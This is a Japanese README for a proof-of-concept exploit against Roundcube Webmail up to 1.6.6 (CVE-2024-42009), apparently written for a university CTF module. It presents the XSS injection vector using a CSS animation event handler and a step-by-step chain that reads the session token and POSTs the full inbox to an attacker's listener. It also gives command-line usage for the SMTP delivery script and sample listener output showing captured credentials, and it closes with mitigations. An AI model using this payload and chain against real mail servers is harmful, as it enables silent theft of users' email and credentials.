
Roundcube Webmail ≤1.6.6(CVE-2024-42009)の保存型XSSエクスプロイト。CSSアニメーションイベントハンドラを介したゼロクリックでのメール流出を実現。SMTP送信スクリプトとCORS対応リスナーを含み、CTFおよび許可されたセキュリティテスト向けです。
認可されたセキュリティテスト、CTF環境、教育研究専用です。 このツールを、所有していない、または書面による許可を得ていないシステムに対して使用することは、英国のComputer Misuse Act 1990、米国のCFAA、および世界各国の同等の法律の下で違法となります。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2024-42009 |
| 影響を受けるソフトウェア | Roundcube Webmail ≤ 1.6.6 |
| 修正バージョン | 1.6.7 / 1.6.8 |
| CVSS v3.1 スコア | 8.8 (高) |
| CVSS Vector | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — ウェブページ生成時の入力の中立化の不備 (XSS) |
| 攻撃タイプ | 保存型XSS → ゼロクリックメール流出 |
| 認証要件 | なし (SMTP配信); 低 (被害者がメールを開く必要あり) |
Roundcube 1.6.6のHTMLサニタイザーは、不正な<body>タグ属性内のCSSアニメーションキーフレームに付加されたJavaScriptイベントハンドラを除去できないという欠陥があります。
インジェクションベクター:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
被害者が認証されたRoundcubeセッションでメールを開くと、CSSアニメーションが即座に発動します。onanimationstartハンドラは、セッションのrequest_tokenを含むrcmail JavaScriptオブジェクトへの完全なアクセス権を持って実行されます。
エクスプロイトチェーン:
1. 攻撃者は認証不要のSMTPリレー(ポート25)を介して、悪意のあるHTMLメールを被害者に送信します。
2. 被害者がRoundcubeでメールを開くと、アニメーションが発動し、JSが実行されます(クリックは不要)。
3. JSはrcmail.env.request_token(セッションの有効なCSRFトークン)を読み取ります。
4. JSはRoundcubeの内部メールAPIを介して、すべての受信トレイのUIDを反復処理します。
5. 各メッセージが取得され、その内容が収集されます。
6. すべての受信トレイデータはJSONとして攻撃者のHTTPリスナーにPOSTされます。
7. 攻撃者は回復したメールを読み取ります。これには、認証情報、セッションデータ、または機密の通信が含まれる可能性があります。
cve-2024-42009-roundcube-xss/
├── exploit.py # 認証不要のSMTP経由でXSSペイロードを送信
├── listener.py # CORS対応のHTTPサーバー; 流出した受信トレイデータを受信して出力
├── payload.html # 手動検査またはBurp配信用のスタンドアロンXSSペイロード
└── README.md
smtplib、http.server、json、argparse)python3 listener.py --port 8080
データ到着時の出力:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
完全なJSONダンプは自動的にexfil_dump.jsonに保存されます。
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
Roundcube ≤ 1.6.6でメールが開かれると、リスナーは流出した受信トレイの内容を出力します。
RoundcubeのHTMLパーサーは、受信メールのHTMLをレンダリングする前に、危険な属性を取り除く役割を担っています。バージョン≤ 1.6.6では、パーサーはonclick、onerror、および類似のハンドラを正しく除去しますが、CSSアニメーションイベント(onanimationstart、onanimationend、onanimationiteration)のイベントハンドラは除去しません。
CSSアニメーションはレンダリングの一部として発動するため(ユーザーの操作ではなく)、ハンドラはメールが開かれた瞬間に実行されます — リンクのクリックも、メッセージを開く以外のユーザー操作も不要です。
rcmail JavaScriptオブジェクトは、すべての認証されたRoundcubeセッションでグローバルにアクセス可能です。これはセッションのCSRFトークンであるrcmail.env.request_tokenを公開します。Roundcube自身のメールAPIエンドポイント(?_task=mail&_action=list、?_action=show)と組み合わせることで、ペイロードは追加の認証をトリガーすることなく完全な受信トレイを読み取ることができます。
| バージョン | ステータス |
|---|---|
| ≤ 1.6.6 | 脆弱 |
| 1.6.7 | 修正済み |
| 1.6.8 | 修正済み(推奨) |
| 1.5.x LTS | ベンダー勧告を確認 |
| アクション | 詳細 |
|---|---|
| アップグレード | Roundcube 1.6.8以降でこの種のXSSが修正されています |
| CSPヘッダー | webmail vhostにContent-Security-Policy: default-src 'self'; script-src 'self'を展開して、インラインJSの実行をブロックします |
| SMTPリレー | ポート25での認証不要のリレーを無効にし、すべての内部配信にAUTHを要求します |
このPoCは、コベントリー大学のMScサイバーセキュリティ(2025–2026)の倫理的ハッキングと侵入テストモジュールにおけるBoot-to-Root CTF侵入テスト評価の一環として開発およびテストされました。すべてのテストは、明示的な書面による許可を得て、隔離されたVMwareラボ環境で実施されました。
作者: Segun Akinsoyinu
ポートフォリオ: segunakinsoyinu.github.io/MyPortfolio
このコードは教育および認可されたセキュリティ研究目的のみのために公開されています。作者は誤用に対する責任を負いません。このツールを使用する前に、対象システムをテストするための明示的な書面による許可を得ていることを確認してください。
| 引数 | 説明 |
|---|
--smtp | 対象SMTPサーバーのIPまたはホスト名 |
--port | SMTPポート (デフォルト: 25) |
--from | 送信元アドレス(リレーが受け入れる任意の値) |
--to | 被害者のメールアドレス |
--attacker | あなたのIP — ペイロード内に流出収集先として埋め込まれます |
--lport | あなたのリスナーポート (デフォルト: 8080) |
--subject | メールの件名 |